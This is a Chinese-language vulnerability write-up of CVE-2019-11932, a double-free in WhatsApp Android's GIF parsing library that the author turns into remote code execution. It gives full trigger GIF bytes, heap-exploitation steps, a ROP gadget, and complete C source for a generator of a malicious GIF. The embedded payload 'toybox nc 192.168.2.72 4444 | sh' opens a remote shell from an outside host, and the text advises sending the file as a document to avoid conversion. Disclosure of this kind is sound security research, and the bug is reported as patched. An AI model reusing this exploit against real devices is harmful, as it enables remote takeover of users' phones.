在这篇文章中,我将跟大家讨论我在WhatsApp Android端应用程序中找到的一个双重释放漏洞(CVE-2019-11932),并且我会将该漏洞转变成一个远程代码执行漏洞。目前,我已经将漏洞信息上报给了Facebook,Facebook也在官方发布的WhatsApp v2.19.244中修复了该漏洞。
因此,我们建议广大用户尽快升级至最新版本的WhatsApp(v2.19.244及以上版本)以保护自己的安全。
漏洞利用演示:【Google Drive主链】【备用链】
如果Google Drive主链无法访问的话,可以直接使用备用链接。
1、00:16,攻击者通过任意信道向目标用户发送了一个GIF文件,其中的一个就是通过WhatsApp发送的附件文件。比如说,点击“附件”按钮,选择GIF图片文件,然后点击发送。如果攻击者在目标用户的联系人列表中,那么目标用户的设备就会自动下载GIF,整个过程无需额外的用户交互。
2、00:24,目标用户想要给TA的WhatsApp好友发送一个多媒体文件,那么TA就会点击“附件”并打开设备的图片库,然后选择需要发送的多媒体文件。需要注意的是,目标用户一旦打开了WhatsApp图片库,便会触发该漏洞,而无需进行其他操作。
3、00:30,由于WhatsApp会显示所有多媒体文件的缩略图,此时将会触发双重释放漏洞并执行我们的RCE漏洞利用代码。
libpl_droidsonroids_gif库中的双重释放漏洞
当WhatsApp用户在WhatsApp中打开图片库并选取多媒体文件时,WhatsApp将会调用libpl_droidsonroids_gif.so原生库来对文件进行解析,并生成GIF文件的缩略图。libpl_droidsonroids_gif.so是一个开源代码库,源码可以点击【这里】获取。
一个GIF文件中可以包含多个编码帧,为了存储解码后的帧,WhatasApp图片库将使用名为rasterBits的缓冲区。如果所有帧的大小相同,rasterBits缓冲区则会被重复使用,无需重新分配。 但是如果满足以下三个条件中的一个,则仍会重新分配:
width height > originalWidth originalHeight
width – originalWidth > 0
height – originalHeight > 0
缓冲区重新分配需要使用到free和malloc函数,如果重新分配的帧尺寸为0,则会直接释放。假设有一个三帧的GIF文件,尺寸分别为100、0和0。那么:
1、第一次重新分配后,我们有大小为100的info-> rasterBits缓冲区。
2、第二次重新分配0时,则会释放info-> rasterBits缓冲区。
3、在第三次重新分配0时,再次释放info-> rasterBits缓冲区。
很明显,这就是双重释放漏洞的成因,触发位置在decoding.c中:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth;
int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight;
const uint_fast32_t newRasterSize =
gifFilePtr->Image.Width * gifFilePtr->Image.Height;
if (newRasterSize > info->rasterSize || widthOverflow > 0 ||
heightOverflow > 0) {
void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here
sizeof(GifPixelType));
if (tmpRasterBits == NULL) {
gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM;
break;
}
info->rasterBits = tmpRasterBits;
info->rasterSize = newRasterSize;
}
在Android中,如果对大小为N的内存进行双重释放,则会导致两个大小为N的内存被分配相同地址。
(lldb) expr int $foo = (int) malloc(112)
(lldb) p/x $foo
(int) $14 = 0xd379b250
(lldb) p (int)free($foo)
(int) $15 = 0
(lldb) p (int)free($foo)
(int) $16 = 0
(lldb) p/x (int)malloc(12)
(int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96)
(int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180)
(int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112)
(int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112)
(int) $21 = 0xd379b250
上述代码段中,$foo被释放了两次,这将导致$20和$21返回相同的地址。
接下来,我们看看gif.h文件中的GifInfo结构体:
struct GifInfo {
void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here
GifFileType *gifFilePtr;
GifWord originalWidth, originalHeight;
uint_fast16_t sampleSize;
long long lastFrameRemainder;
long long nextStartTime;
uint_fast32_t currentIndex;
GraphicsControlBlock *controlBlock;
argb *backupPtr;
long long startPos;
unsigned char *rasterBits;
uint_fast32_t rasterSize;
char *comment;
uint_fast16_t loopCount;
uint_fast16_t currentLoop;
RewindFunc rewindFunction; <<-- there's another function pointer here
jfloat speedFactor;
uint32_t stride;
jlong sourceLength;
bool isOpaque;
void *frameBufferDescriptor;
};
接下来,尝试构造下面尺寸的GIF文件(三帧):
sizeof(GifInfo),0,0
打开WhatsApp图片库之后,将触发rasterBits缓冲区上大小为sizeof(GifInfo)的双重释放。有趣的是,WhatsApp图片库中的GIF文件会被解析两次。当GIF文件再次被解析时,将创建一个GifInfo对象。根据Android中的双重释放漏洞特性,GifInfo info对象和info-> rasterBits会指向相同地址。然后,DDGifSlurp()函数将解码第一帧给info-> rasterBits缓冲区,这会覆盖掉info和它的rewindFunction()函数(该函数位于DDGifSlurp()的末尾处)。
我们构造的GIF文件如下:
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
它包含以下四个帧:
2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
F0 CE 57 2B 6F EE FF FF
2C 00 00 00 00 1C 0F 00 00 00 00
2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00
2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00
初始化:
GifInfo *info = malloc(168);
Frame 1:
info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);
Frame 2:
info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);
Frame 3:
info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);
Frame 4:
主要负责让这个GIF文件生效。
初始化:
GifInfo *info = malloc(168);
Frame 1:
info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);
Frame 2, 3, 4:
省略
End:
info->rewindFunction(info);
由于第一次解析中的双重释放问题,导致info和info-> rasterBits现指向相同位置。在第二次解析中,已按照预期处理第一帧。那么当info->rewindFunction(info)被调用时,我们就可以控制rewindFunction和PC了。需要注意,上面的这些帧过了LZW编码,并且必须使用LZW编码器来处理GIF图片帧。
这张GIF文件将导致应用崩溃:
--------- beginning of crash
10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp)
10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF
10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone
10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 17928
10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059)
10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys'
10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10'
10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64'
10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<<
10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr --------
10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 0000000000000008
10-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f
10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 0000000000000001
10-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff
10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 0000000000004608
10-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f0
10-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b
10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae9760
10-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 0000000060000000
10-02 11:09:38.499 18071 18071 F DEBUG :
10-02 11:09:38.499 18071 18071 F DEBUG : backtrace:
10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120)
10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012)
10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000]
10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc <unknown>
拿到PC控制权之后,我们可以尝试实现RCE攻击。我们的目的是执行下列命令:
system("toybox nc 192.168.2.72 4444 | sh");
此时需要使用到libc.so中的system()函数,并将PC指向该函数,X0指向“ toybox nc 192.168.2.72 4444 | sh”。首先,让PC跳转到一个中间件,中间件需要设置X0来指向”toybox nc 192.168.2.72 4444 | sh”并跳转到system()。查看info->rewindFunction(info)的反汇编代码,可以看到X0和X19都指向了info-> rasterBits(或者说info,它们都指向相同的位置),而X8实际指向的是info-> rewindFunction。
libhwui.so中有一个中间件正好符合我们的条件:
ldr x8, [x19, #0x18]
add x0, x19, #0x20
blr x8
假设上面这个gatget地址为AAAAAAAA,而system()函数的地址为BBBBBBBB。那么在LZW编码之前,构造rasterBits缓冲区(帧1)的内容如下:
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB
00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16
00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 4141 4141 4141 4141 eeff AAAAAAAA..
大家可以直接下载并编译我提供的代码:【传送门】。
需要注意,system()的地址以及中间件必须使用实际地址进行替换:
/*
Gadget g1:
ldr x8, [x19, #0x18]
add x0, x19, #0x20
blr x8
*/
size_t g1_loc = 0x7cb81f0954; <<-- replace this
memcpy(buffer + 128, &g1_loc, 8);
size_t system_loc = 0x7cb602ce84; <<-- replace this
memcpy(buffer + 24, &system_loc, 8);
运行代码,生成GIF文件:
notroot@osboxes:~/Desktop/gif$ make
.....
.....
.....
notroot@osboxes:~/Desktop/gif$ ./exploit exploit.gif
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
** C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 C1 07 ** 1C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
复制上述代码到GIF文件中,然后将其以文档的形式发送给目标用户。需要注意的是,我们不能将其以媒体文件发送,否则WhatsApp会自动将其转换为MP4格式。目标用户收到GIF文件后,除非打开WhatsApp图片库,否则不会出现任何异常情况。
#include "gif_lib.h"
#define ONE_BYTE_HEX_STRING_SIZE 3
static inline void
get_hex(char *buf, int buf_len, char* hex_, int hex_len, int num_col) {
int i;
unsigned int byte_no = 0;
if (buf_len <= 0) {
if (hex_len > 0) {
hex_[0] = '';
}
return;
}
if(hex_len < ONE_BYTE_HEX_STRING_SIZE + 1)
return;
do {
for (i = 0; ((i < num_col) && (buf_len > 0) && (hex_len > 0)); ++i ) {
snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff);
hex_ += ONE_BYTE_HEX_STRING_SIZE;
hex_len -=ONE_BYTE_HEX_STRING_SIZE;
buf_len--;
}
if (buf_len > 1) {
snprintf(hex_, hex_len, "n");
hex_ += 1;
}
} while ((buf_len) > 0 && (hex_len > 0));
}
int genLine_0(unsigned char *buffer) {
/*
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB
00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16
00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 4141 4141 4141 4141 eeff AAAAAAAA..
Over-write AAAAAAAA with address of gadget 1
Over-write BBBBBBBB with address of system() function
Gadget 1
ldr x8, [x19, #0x18]
add x0, x19, #0x20
blr x8
*/
unsigned char hexData[138] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0xEE, 0xFF
};
memcpy(buffer, hexData, sizeof(hexData));
/*
Gadget g1:
ldr x8, [x19, #0x18]
add x0, x19, #0x20
blr x8
*/
size_t g1_loc = 0x7cb81f0954;
memcpy(buffer + 128, &g1_loc, 8);
size_t system_loc = 0x7cb602ce84;
memcpy(buffer + 24, &system_loc, 8);
char *command = "toybox nc 192.168.2.72 4444 | sh";
memcpy(buffer + 32, command, strlen(command));
return sizeof(hexData);
};
int main(int argc, char *argv[]) {
GifFilePrivateType Private = {
.Buf[0] = 0,
.BitsPerPixel = 8,
.ClearCode = 256,
.EOFCode = 257,
.RunningCode = 258,
.RunningBits = 9,
.MaxCode1 = 512,
.CrntCode = FIRST_CODE,
.CrntShiftState = 0,
.CrntShiftDWord = 0,
.PixelCount = 112,
.OutBuf = { 0 },
.OutBufLen = 0
};
int size = 0;
unsigned char buffer[1000] = { 0 };
unsigned char line[500] = { 0 };
int line_size = genLine_0(line);
EGifCompressLine(&Private, line, line_size);
unsigned char starting[48] = {
0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x18, 0x00, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x66, 0xCC, 0xCC,
0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x33, 0x99, 0x66, 0x99, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x15, 0x00, 0x00, 0x08
};
unsigned char padding[2] = { 0xFF, 0xFF };
unsigned char ending[61] = {
0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00,
0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00,
0x00, 0x00, 0x00, 0x18, 0x00, 0x0A, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x00, 0x3B
};
// starting bytes
memcpy(buffer + size, starting, sizeof(starting));
size += sizeof(starting);
// size of encoded line + padding
int tmp = Private.OutBufLen + sizeof(padding);
buffer[size++] = tmp;
// encoded-line bytes
memcpy(buffer + size, Private.OutBuf, Private.OutBufLen);
size += Private.OutBufLen;
// padding bytes of 0xFFs to trigger info->rewind(info);
memcpy(buffer + size, padding, sizeof(padding));
size += sizeof(padding);
// ending bytes
memcpy(buffer + size, ending, sizeof(ending));
size += sizeof(ending);
char hex_dump[5000];
get_hex(buffer, size, hex_dump, 5000, 16);
printf("buffer = %p size = %dn%sn", buffer, size, hex_dump);
}
egif_lib.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "gif_lib.h"
static int EGifBufferedOutput(GifFilePrivateType *Private, int c) {
Private->Buf[0] = 0;
Private->Buf[++(Private->Buf[0])] = c;
Private->OutBuf[Private->OutBufLen++] = c;
return GIF_OK;
}
static int EGifCompressOutput(GifFilePrivateType *Private, const int Code)
{
int retval = GIF_OK;
if (Code == FLUSH_OUTPUT) {
while (Private->CrntShiftState > 0) {
/* Get Rid of what is left in DWord, and flush it. */
if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR)
retval = GIF_ERROR;
Private->CrntShiftDWord >>= 8;
Private->CrntShiftState -= 8;
}
Private->CrntShiftState = 0; /* For next time. */
if (EGifBufferedOutput(Private, FLUSH_OUTPUT) == GIF_ERROR)
retval = GIF_ERROR;
} else {
Private->CrntShiftDWord |= ((long)Code) << Private->CrntShiftState;
Private->CrntShiftState += Private->RunningBits;
while (Private->CrntShiftState >= 8) {
/* Dump out full bytes: */
if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR)
retval = GIF_ERROR;
Private->CrntShiftDWord >>= 8;
Private->CrntShiftState -= 8;
}
}
/* If code cannt fit into RunningBits bits, must raise its size. Note */
/* however that codes above 4095 are used for special signaling. */
if (Private->RunningCode >= Private->MaxCode1 && Code <= 4095) {
Private->MaxCode1 = 1 << ++Private->RunningBits;
}
return retval;
}
int EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen)
{
int i = 0, CrntCode, NewCode;
unsigned long NewKey;
GifPixelType Pixel;
if (Private->CrntCode == FIRST_CODE) /* Its first time! */
CrntCode = Line[i++];
else
CrntCode = Private->CrntCode; /* Get last code in compression. */
while (i < LineLen) { /* Decode LineLen items. */
Pixel = Line[i++]; /* Get next pixel from stream. */
if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) {
return GIF_ERROR;
}
CrntCode = Pixel;
/* If however the HashTable if full, we send a clear first and
* Clear the hash table.
*/
if (Private->RunningCode >= LZ_MAX_CODE) {
/* Time to do some clearance: */
if (EGifCompressOutput(Private, Private->ClearCode)
== GIF_ERROR) {
return GIF_ERROR;
}
Private->RunningCode = Private->EOFCode + 1;
Private->RunningBits = Private->BitsPerPixel + 1;
Private->MaxCode1 = 1 << Private->RunningBits;
}
}
/* Preserve the current state of the compression algorithm: */
Private->CrntCode = CrntCode;
if (Private->PixelCount == 0) {
/* We are done - output last Code and flush output buffers: */
if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) {
return GIF_ERROR;
}
if (EGifCompressOutput(Private, Private->EOFCode) == GIF_ERROR) {
return GIF_ERROR;
}
if (EGifCompressOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) {
return GIF_ERROR;
}
}
return GIF_OK;
}
/******************************************************************************
gif_lib.h - service library for decoding and encoding GIF images
*****************************************************************************/
#ifndef _GIF_LIB_H_
#define _GIF_LIB_H_ 1
#define GIF_ERROR 0
#define GIF_OK 1
#include <stddef.h>
#include <stdbool.h>
typedef signed char __int8_t;
typedef unsigned char __uint8_t;
typedef short __int16_t;
typedef unsigned short __uint16_t;
typedef int __int32_t;
typedef unsigned int __uint32_t;
#if defined(__LP64__)
typedef long __int64_t;
typedef unsigned long __uint64_t;
#else
typedef long long __int64_t;
typedef unsigned long long __uint64_t;
#endif
#if defined(__LP64__)
typedef long __intptr_t;
typedef unsigned long __uintptr_t;
#else
typedef int __intptr_t;
typedef unsigned int __uintptr_t;
#endif
typedef __int8_t int8_t;
typedef __uint8_t uint8_t;
typedef __int16_t int16_t;
typedef __uint16_t uint16_t;
typedef __int32_t int32_t;
typedef __uint32_t uint32_t;
typedef __int64_t int64_t;
typedef __uint64_t uint64_t;
typedef __intptr_t intptr_t;
typedef __uintptr_t uintptr_t;
typedef int8_t int_least8_t;
typedef uint8_t uint_least8_t;
typedef int16_t int_least16_t;
typedef uint16_t uint_least16_t;
typedef int32_t int_least32_t;
typedef uint32_t uint_least32_t;
typedef int64_t int_least64_t;
typedef uint64_t uint_least64_t;
typedef int8_t int_fast8_t;
typedef uint8_t uint_fast8_t;
typedef int64_t int_fast64_t;
typedef uint64_t uint_fast64_t;
#if defined(__LP64__)
typedef int64_t int_fast16_t;
typedef uint64_t uint_fast16_t;
typedef int64_t int_fast32_t;
typedef uint64_t uint_fast32_t;
#else
typedef int32_t int_fast16_t;
typedef uint32_t uint_fast16_t;
typedef int32_t int_fast32_t;
typedef uint32_t uint_fast32_t;
#endif
#define GIF_STAMP "GIFVER" /* First chars in file - GIF stamp. */
#define GIF_STAMP_LEN sizeof(GIF_STAMP) - 1
#define GIF_VERSION_POS 3 /* Version first character in stamp. */
typedef unsigned char GifPixelType;
typedef unsigned char GifByteType;
typedef unsigned int GifPrefixType;
typedef uint_fast16_t GifWord;
typedef struct GifColorType {
uint8_t Red, Green, Blue;
} GifColorType;
typedef struct ColorMapObject {
uint_fast16_t ColorCount;
uint_fast8_t BitsPerPixel;
// bool SortFlag;
GifColorType *Colors; /* on malloc(3) heap */
} ColorMapObject;
typedef struct GifImageDesc {
GifWord Left, Top, Width, Height; /* Current image dimensions. */
bool Interlace;
/* Sequential/Interlaced lines. */
ColorMapObject *ColorMap; /* The local color map */
} GifImageDesc;
//typedef struct ExtensionBlock {
// int ByteCount;
// GifByteType *Bytes; /* on malloc(3) heap */
// int Function; /* The block function code */
#define CONTINUE_EXT_FUNC_CODE 0x00 /* continuation subblock */
#define COMMENT_EXT_FUNC_CODE 0xfe /* comment */
#define GRAPHICS_EXT_FUNC_CODE 0xf9 /* graphics control (GIF89) */
#define PLAINTEXT_EXT_FUNC_CODE 0x01 /* plaintext */
#define APPLICATION_EXT_FUNC_CODE 0xff /* application block */
//} ExtensionBlock;
typedef struct SavedImage {
GifImageDesc ImageDesc;
// GifByteType *RasterBits; /* on malloc(3) heap */
// int ExtensionBlockCount; /* Count of extensions before image */
// ExtensionBlock *ExtensionBlocks; /* Extensions before image */
} SavedImage;
#define EXTENSION_INTRODUCER 0x21
#define DESCRIPTOR_INTRODUCER 0x2c
#define TERMINATOR_INTRODUCER 0x3b
#define LZ_MAX_CODE 4095 /* Biggest code possible in 12 bits. */
#define LZ_BITS 12
#define FLUSH_OUTPUT 4096 /* Impossible code, to signal flush. */
#define FIRST_CODE 4097 /* Impossible code, to signal first. */
#define NO_SUCH_CODE 4098 /* Impossible code, to signal empty. */
//#define FILE_STATE_WRITE 0x01
//#define FILE_STATE_SCREEN 0x02
//#define FILE_STATE_IMAGE 0x04
//#define FILE_STATE_READ 0x08
//#define IS_READABLE(Private) (Private->FileState & FILE_STATE_READ)
struct GifFileType;
/* func type to read gif data from arbitrary sources (TVT) */
typedef uint_fast8_t (*InputFunc)(struct GifFileType *, GifByteType *, uint_fast8_t);
typedef struct GifFilePrivateType {
GifWord //FileState, /*FileHandle,*/ /* Where all this data goes to! */
BitsPerPixel, /* Bits per pixel (Codes uses at least this + 1). */
ClearCode, /* The CLEAR LZ code. */
EOFCode, /* The EOF LZ code. */
RunningCode, /* The next code algorithm can generate. */
RunningBits, /* The number of bits required to represent RunningCode. */
MaxCode1, /* 1 bigger than max. possible code, in RunningBits bits. */
LastCode, /* The code before the current code. */
CrntCode, /* Current algorithm code. */
StackPtr, /* For character stack (see below). */
CrntShiftState;
/* Number of bits in CrntShiftDWord. */
unsigned long CrntShiftDWord;
/* For bytes decomposition into codes. */
uint_fast32_t PixelCount;
/* Number of pixels in image. */
// FILE *File;
/* File as stream. */
InputFunc Read; /* function to read gif input (TVT) */
// OutputFunc Write; /* function to write gif output (MRB) */
GifByteType Buf[256];
unsigned char OutBuf[500];
int OutBufLen;
/* Compressed input is buffered here. */
GifByteType Stack[LZ_MAX_CODE];
/* Decoded pixels are stacked here. */
GifByteType Suffix[LZ_MAX_CODE + 1];
/* So we can trace the codes. */
GifPrefixType Prefix[LZ_MAX_CODE + 1];
// bool gif89;
} GifFilePrivateType;
typedef struct GifFileType {
GifWord SWidth, SHeight; /* Size of virtual canvas */
// GifWord SColorResolution; /* How many colors can we generate? */
GifWord SBackGroundColor; /* Background color for virtual canvas */
// GifByteType AspectByte; /* Used to compute pixel aspect ratio */
ColorMapObject *SColorMap;
/* Global colormap, NULL if nonexistent. */
uint_fast32_t ImageCount;
/* Number of current image (both APIs) */
GifImageDesc Image;
/* Current image (low-level API) */
SavedImage *SavedImages; /* Image sequence (high-level API) */
// int ExtensionBlockCount; /* Count extensions past last image */
// ExtensionBlock *ExtensionBlocks; /* Extensions past last image */
int Error;
/* Last error condition reported */
void *UserData;
/* hook to attach user data (TVT) */
GifFilePrivateType *Private; /* Don't mess with this! */
} GifFileType;
//#define GIF_ASPECT_RATIO(n) ((n)+15.0/64.0)
typedef enum {
UNDEFINED_RECORD_TYPE,
SCREEN_DESC_RECORD_TYPE,
IMAGE_DESC_RECORD_TYPE, /* Begin with ',' */
EXTENSION_RECORD_TYPE, /* Begin with '!' */
TERMINATE_RECORD_TYPE /* Begin with ';' */
} GifRecordType;
/* func type to read gif data from arbitrary sources (TVT) */
typedef uint_fast8_t (*InputFunc)(GifFileType *, GifByteType *, uint_fast8_t);
/******************************************************************************
GIF89 structures
******************************************************************************/
typedef struct GraphicsControlBlock {
uint_fast8_t DisposalMode;
#define DISPOSAL_UNSPECIFIED 0 /* No disposal specified. */
#define DISPOSE_DO_NOT 1 /* Leave image in place */
#define DISPOSE_BACKGROUND 2 /* Set area too background color */
#define DISPOSE_PREVIOUS 3 /* Restore to previous content */
// bool UserInputFlag; /* User confirmation required before disposal */
uint_fast32_t DelayTime;
/* pre-display delay in 0.01sec units */
int TransparentColor; /* Palette index for transparency, -1 if none */
#define NO_TRANSPARENT_COLOR -1
} GraphicsControlBlock;
/******************************************************************************
GIF decoding routines
******************************************************************************/
/* Main entry points */
GifFileType *DGifOpen(void *userPtr, InputFunc readFunc, int *Error);
/* new one (TVT) */
int DGifCloseFile(GifFileType *GifFile);
